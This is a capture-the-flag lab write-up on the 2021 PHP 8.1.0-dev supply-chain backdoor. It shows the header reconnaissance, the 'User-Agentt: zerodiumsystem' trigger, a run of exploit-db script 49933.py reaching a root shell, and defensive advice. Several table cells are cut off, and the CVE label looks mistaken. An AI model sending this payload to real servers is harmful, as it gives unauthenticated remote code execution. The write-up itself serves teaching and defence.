# TryHackMe — Agent T

PHP 8.1.0-dev Backdoor · Remote Code Execution · Supply Chain Attack

| | |
|---|---|
| **Difficulty** | Easy |
| **Category** | Web · CVE · RCE |
| **Vulnerability** | PHP 8.1.0-dev backdoor (CVE-2021-26033 class) |
| **Techniques** | Header fingerprinting, backdoor exploitation |
| **Key Lesson** | Disclosed server headers expose exact software version → known exploit |

## 1. Overview

Agent T is a beginner-level room built around a real-world supply chain incident from March 2021. A malicious actor compromised PHP's self-hosted git server and injected a backdoor directly into the PHP interpreter source code — bypassing all application-layer security entirely. The room teaches a critical recon habit: always read HTTP response headers before reaching for a wordlist.

> **The core lesson:** a single disclosed header — `X-Powered-By: PHP/8.1.0-dev` — identifies an exact vulnerable build. The word *dev* alone is a red flag; no production server should be running a pre-release development snapshot.

## 2. Reconnaissance

### 2.1 What Not to Do First — Gobuster Trap

The natural instinct is to fire off a directory brute-force scan. This room is a deliberate lesson in why that's often the wrong first move:

```
gobuster dir -u http://TARGET -w directory-list-2.3-medium.txt -x php,txt,html,bak -t 50

# Error:
# the server returns a status code that matches for non-existing urls.
# http://TARGET/dd1fd116-... => 200 (Length: 42131)
# Please exclude the response length or set the wildcard option.
```

> **Why this happens:** The server responds HTTP 200 to every request, including random garbage URLs — a wildcard/catch-all response pattern common in SPA frameworks. Every path returns the same 42 KB dashboard HTML. With 220,000+ wordlist entries × 5 extensions = over a million requests, this scan would run for a very long time and return nothing useful.

The fix exists (`--exclude-length 42131`), but it still won't find anything interesting because the vulnerability isn't in the application — it's in the PHP engine itself.

### 2.2 The Right First Step — Header Inspection

Always start with a simple HEAD request to see what the server volunteers about itself:

```
curl -I http://TARGET

HTTP/1.1 200 OK
Host: 10.114.135.201
Date: Wed, 17 Jun 2026 19:42:08 GMT
Connection: close
X-Powered-By: PHP/8.1.0-dev      ← this is the finding
Content-type: text/html; charset=UTF-8
```

> **What to look for in headers:** Server (web server + version), X-Powered-By (backend language/version), X-Generator / X-CMS (CMS identification), Set-Cookie (session framework hints), Via / X-Forwarded-For (proxy/load balancer disclosure).

The string `PHP/8.1.0-dev` is immediately significant: **-dev** denotes a pre-release development build, not a stable release. That specific build is associated with a documented backdoor injected via a compromised commit in March 2021.

## 3. The Vulnerability — PHP 8.1.0-dev Backdoor

### 3.1 The Supply Chain Attack

On 28 March 2021, two commits were pushed to PHP's self-hosted git server (git.php.net), made to appear as though they came from Rasmus Lerdorf (PHP's creator) and Nikita Popov (a core PHP maintainer). Neither of them made those commits — their identities were spoofed.

The commits were disguised as a trivial 'Fix typo' change — the kind of small patch that might get a quick glance and rubber-stamp during review. Hidden inside was a call to PHP's internal `zend_eval_string()` function — the engine's own code evaluator — triggered by a specially crafted HTTP header.

> **Why git identity spoofing is easy:** Git commit author/committer fields are just plaintext metadata. Anyone with push access to a repository can write any name and email into a commit — no cryptographic proof is required. The commits looked legitimate in git log because nothing enforces that the name in the commit matches the account that pushed it, unless GPG commit signing is both in use and enforced — which php-src was not doing at the time.

### 3.2 How the Backdoor Works

The injected code added a check that ran on every incoming HTTP request at the interpreter level, before any PHP application code ever executed. It looked for a header named `User-Agentt` — a deliberate typo (double-t) chosen so that no real browser or tool would ever send it by accident.

If the value of that header matched the pattern `zerodiumsystem('...')`, the interpreter extracted the inner string and passed it directly to `zend_eval_string()` — executing it as PHP code. Since PHP's `system()` function runs OS commands, this gave full unauthenticated remote code execution on the host.

> **Why the misspelled header was clever camouflage:** PHP maps incoming headers to `$_SERVER` automatically. A normal User-Agent becomes `HTTP_USER_AGENT`. The typo creates `HTTP_USER_AGENTT` — a key that nothing in the real world populates. The backdoor would sit completely invisible during all normal traffic and testing.

The backdoor also included the comment `REMOVETHIS: sold to zerodium, mid 2017`, referencing Zerodium, a company that purchases zero-day exploits. This was likely an attempt to implicate or taunt them. Zerodium denied involvement, and the actual attacker was never publicly identified.

# 4. Exploitation

## 4.1 Finding the Exploit

Once the version string is identified, the standard tool for searching documented exploits is searchsploit:

```
searchsploit php 8.1.0-dev
```

This returns a match: `PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution` at path `php/webapps/49933.py`. Copy it locally:

```
searchsploit -m php/webapps/49933.py
```

## 4.2 How the Exploit Script Works

The script is a Python pseudo-shell. Read through it before running — understanding what a PoC does before you execute it is a good habit.

| Step | What happens | Why |
|---|---|---|
| 1 | GET request to host | Verifies the server responds 200 before proceeding |
| 2 | Reads command from stdin prompt ($) | Simulates an interactive shell loop |
| 3 | Sends GET with User-Agentt: zerodiumsystem('cmd'); | Triggers the backdoor in the PHP engine |
| 4 | Server evaluates the header as PHP, runs cmd via system() | RCE at the interpreter layer |

| | | |
|---|---|---|
| 5 | Output printed at top of HTTP response, before the DOCTYPE | Everything includes app HTML |
| 6 | Script splits response on '<!DOCTYPE html>' and prints [0] | Isolates command output from page noise |

### 4.3 Running the Exploit

```
python3 49933.py

Enter the full host url:
http://10.114.135.201

Interactive shell is opened on http://10.114.135.201
Can't access tty; job control turned off.
$ id
uid=0(root) gid=0(root) groups=0(root)

$ find / -iname '*flag*' 2>/dev/null
/flag.txt

$ cat /flag.txt
flag{...}
```

**Shell limitations to know:** This is not a real interactive shell — each command is a separate HTTP request with no persistent state. `cd` will not carry over to the next command. Use absolute paths or chain commands with `&&` when needed (e.g. `cd /var/www && ls`).

## 5. Why Verification Was Nearly Impossible

Anyone building PHP from source during the few-hour window before the backdoor was reverted had no reliable way to detect the compromise:

| | |
|---|---|
| **Git author fields** | Plaintext metadata — anyone with push access writes any name. No cryptographic proof requ |
| **Commit message** | Labelled 'Fix typo' — deliberately unassuming. Disguising malicious changes as trivial mainten |
| **GPG signing** | php-src was not enforcing signed commits at the time. Even if it had been, that only proves wh |
| **Package manager** | End users installing PHP via apt/yum were never exposed — official release tarballs are GPG- |
| **How it was caught** | A human — Nikita Popov — noticed the diff during routine post-commit review. No automated |

The PHP team's response was structural: they stopped self-hosting git entirely, moved to GitHub as canonical, and mandated 2FA for all contributors. The lesson was that a single self-hosted server with insufficiently locked write access is too attractive a target — the fix wasn't 'be more careful reviewing,' it was to raise the barrier to getting write access in the first place.

## 6. Blue Team Perspective

### What a defender should do:

| | |
|---|---|
| **Suppress version headers** | Set php_flag expose_php Off in php.ini and ServerTokens Prod / ServerSignature Off in Ap |
| **Never run -dev builds in prod** | Dev snapshots are for testing and contribution only. If X-Powered-By shows -dev on a prod |
| **Verify software sources** | When possible, install PHP via your distro's package manager rather than building from raw |
| **Monitor anomalous headers** | WAF or IDS rules can alert on inbound User-Agentt (double-t) headers — a specific IoC for |
| **Require GPG-signed commits** | For any critical open-source project or internal codebase, enforce GPG commit signing so e |
| **Mandatory 2FA on code repos** | Combine with commit signing. Stolen credentials with no second factor are the most comm |

## 7. Key Takeaways

**1.** Read HTTP response headers before reaching for a wordlist — they often hand you the vulnerability directly.

**2.** A -dev version string on a live server is a red flag worth investigating immediately.

**3.** Supply chain attacks bypass all application security — the backdoor lived under the app layer entirely.

**4.** Git author fields are not authentication. Commit signing + 2FA are the controls that matter.

**5.** searchsploit / exploit-db are your first stop once you have a software name and version.

**6.** The pseudo-shell from this PoC has no persistent state — use absolute paths and chain commands.

**7.** A single self-hosted critical infrastructure server (like a language's git repo) is a high-value target — architect accordingly.